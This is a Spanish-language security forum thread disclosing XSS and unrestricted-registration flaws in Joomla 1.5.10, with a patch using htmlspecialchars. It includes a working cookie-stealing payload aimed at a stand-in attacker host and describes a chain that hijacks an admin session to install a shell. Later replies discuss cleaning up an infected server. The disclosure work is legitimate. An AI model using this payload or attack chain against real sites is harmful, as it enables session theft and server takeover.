elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]  (Leído 8,074 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.606


Sin conocimiento no hay espíritu


Ver Perfil WWW
Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]
« en: 26 Abril 2009, 01:34 am »

bueno, este tema es la continuación de:

Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html



Creación insegura de usuarios

Si se han fijado, la sección de creación de usuarios en joomla no contiene ningún sistema de proteción contra la automatización como por ejemplo una captcha o algún sistema audiovisual que por lo menos le haga la vida un poco mas dificil al atacante. Con esto podemos crear usuarios sin la necesidad de pedirle permiso a nadie ni de utilizar el mismo explorador.

Tampoco te limita la cantidad de usuarios creados por ip asi que no puede ser mas fácil crear remotamente un usuario desde un script en perl o cpp.

Una generación de usuarios en masa podría causar la inestabilidad del sistema.

el uso de esta vulnerabilidad puede ser aprobechada por la siguiente:


Vulnerabilidad de tipo XSS en el componente "User" del panel de Administración

Vamos a este enlace:
http://127.0.0.1/joomla/index.php?option=com_user&task=register
Obiamente reemplazando localhost por el servidor a auditar mas la ruta.

En nombre de usuario le podemos insertar código HTML pero hay un pequeño filtro que impide insertar carácteres como "<" pero nada mas, asi que podríamos insertar muy fácilmente una comilla doble para escapar del input y comenzar a insertar el código html.
Ejemplo:
nombre" onclick="document.location='http://www.atacante.com/?cookies.php?cookies='+document.cookie" x="

No pude poner un onload() porque el explorador solamente lo interpreta desde <body> y no desde <input>, de ahi ya viene la imaginación de cada uno.. se ponen un nick super feo y le dicen al admin que si puede cambiarlo por ti y ya con eso cuando le haga click se estará ejecutando el xss con su sesión logueada y el script que recepcionaría la cookie tendría la misma instrucción que el post anterior donde se demostraba la instalación remota de una shell como si fuera módulo:
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html;msg1201898#msg1201898
VIDEO


Ahora esta vulnerabilidad también se puede aprovechar con la vulnerabilidad anterior de la creación arbitraria de usuarios haciendo que cuando el atacado vea un sitio web con un iframe de 1 x 1 pixel se redireccione al script en php donde hará la creación del usuario arbitrariamente con el nombre de usuario con código html y posteriormente procederá a la redireccion para su ejecución y posterior instalación de la shell.



esto lo encontré en el archivo:
/administrator/components/com_users/views/user/tmpl/form.php
pero me puse a buscar criterios y pude ver que eran bastantes mas.
Quieren ver a cuantos archivos le afecta esto?:


A 10 archivos en mas de 40 ocasiones incluyendo el theme beez de las abejas.
Esto podría extenderse a todos los themes que se han hechos para joomla y obiamente no pueden repararse todos al 100% asi que la solución mas viable sería devolver los datos ya filtrados en htmlspecialchars aunque eto interrumpiría en algunas funciones personalizadas ya que el valor dejaría de ser fiel al que está en la base de datos.

Hasta ahora no lo he publicando en ningún lado asi que obiamente no está parchado pero pueden hacerlo ustedes mismos y buscar donde diga:
<?php echo $this->user->get('lo_que_sea') ...
lo reemplazan por:
<?php echo htmlspecialchars($this->user->get('lo_que_sea'), ENT_QUOTES) ...

En mi caso aprobeché de optimizar un poco el código agregando cada input a mostrar dentro de un array y no escribir uno por uno como lo hace joomla ahorrando la carga del texto en memoria aunque esto igual sería reemplazado pro el proceso en php pero a la ves se ve mas limpio y modificable:

Código
  1. <form action="index.php" method="post" name="adminForm" autocomplete="off">
  2. <div class="col width-45">
  3. <fieldset class="adminform">
  4. <legend><?php echo JText::_( 'User Details' ); ?></legend>
  5. <table class="admintable" cellspacing="1">
  6. <?php /* Modificaciones */
  7. $datos_input[] = array('titulo' => 'Nombre completo', 'id' => 'name');
  8. $datos_input[] = array('titulo' => 'Nick', 'id' => 'username');
  9. $datos_input[] = array('titulo' => 'Apellido paterno', 'id' => 'apellidopaterno');
  10. $datos_input[] = array('titulo' => 'Apellido materno', 'id' => 'apellidomaterno');
  11. $datos_input[] = array('titulo' => 'Correo personal', 'id' => 'email');
  12. $datos_input[] = array('titulo' => 'Correo de empresa', 'id' => 'correodeempresa');
  13. $datos_input[] = array('titulo' => 'Fecha de nacimiento', 'id' => 'fechanacimiento');
  14. $datos_input[] = array('titulo' => 'Fecha de contrato', 'id' => 'fechacontrato');
  15. $datos_input[] = array('titulo' => 'Cargo', 'id' => 'cargo');
  16. $datos_input[] = array('titulo' => 'Estado civil', 'id' => 'estadocivil');
  17. $datos_input[] = array('titulo' => 'Cantidad de cargas', 'id' => 'cantidaddecargas');
  18. $datos_input[] = array('titulo' => 'Tel&eacute;fono empresa', 'id' => 'telefonoempresa');
  19. $datos_input[] = array('titulo' => 'Tel&eacute;fono particular', 'id' => 'telefonoparticular');
  20. $datos_input[] = array('titulo' => 'Domicilio', 'id' => 'domicilio');
  21. $datos_input[] = array('titulo' => 'Comuna', 'id' => 'comuna');
  22. $datos_input[] = array('titulo' => 'Ciudad', 'id' => 'ciudad');
  23.  
  24. foreach($datos_input as $fila){
  25. echo '
  26. <tr><td class="key">'.htmlspecialchars($fila['titulo'], ENT_QUOTES).'</td>
  27. <td><input size="40" type="text" name="'.htmlspecialchars($fila['id'], ENT_QUOTES).'" value="'.htmlspecialchars($this->user->get($fila['id']), ENT_QUOTES).'" /></td>
  28. </tr>
  29. ';
  30. }
  31. ?>

antes del input del password.
PD: esto fue una modificación que tube que hacer para un trabajo pero obiamente ustedes también pueden adaptarlo o cuear un mod totalmente nuevo para que la gente se registre.
« Última modificación: 26 Abril 2009, 01:40 am por WHK » En línea

Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]
« Respuesta #1 en: 26 Abril 2009, 01:48 am »

Lo habia leido en tu blog, pero aqui esta perfecto :D
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.606


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]
« Respuesta #2 en: 26 Abril 2009, 02:04 am »

Citar
Lo habia leido en tu blog, pero aqui esta perfecto :D
eso que está en mi blog es para la versión 1.5.9 que ya se corrigió, esto que yo estoy explicando afecta a la última versión que es la 1.5.10

Reportado:
http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=16137
En línea

Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]
« Respuesta #3 en: 26 Abril 2009, 13:35 pm »

Mejor aun, me lo voy a leer atentamente :)
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
suglus

Desconectado Desconectado

Mensajes: 65


todo termina algun dia


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]
« Respuesta #4 en: 23 Julio 2009, 10:52 am »

Tengo un problema con un joomla originalmente 1.5.10 y ahora parcheado a la .12
Pero el problema persiste. Algo se ejecuta cada 10 min y me añade codigo malicioso a los .php que tiene permisos. No hay ningun cron job me ha dicho el responsable del servidor y lo que queda es que se este realizando una llamada a un php de mi servidor desde el exterior que haga el proceso. Que pasos deberia seguir para hallar la raiz?
Monitorizar las peticiones externas?
En línea

todo termina algun dia
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.606


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]
« Respuesta #5 en: 23 Julio 2009, 11:19 am »

Talves tu theme esté infectado o alguien tiene acceso a tu ftp.
observa el access.log del apache.
En línea

suglus

Desconectado Desconectado

Mensajes: 65


todo termina algun dia


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]
« Respuesta #6 en: 23 Julio 2009, 12:27 pm »

Gracias por la respuesta
No hay nada en log de apache que me sirva que puedo hacer?
« Última modificación: 23 Julio 2009, 14:02 pm por suglus » En línea

todo termina algun dia
suglus

Desconectado Desconectado

Mensajes: 65


todo termina algun dia


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]
« Respuesta #7 en: 24 Julio 2009, 08:36 am »

Ya se soluciono , habia en el servidor una instalacion de xoops obsoleta que yo no tenia acceso ni al log y cada x tiempo se activaba desde el exterior el script que permitia la modificacion de archivos 777.
En línea

todo termina algun dia
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines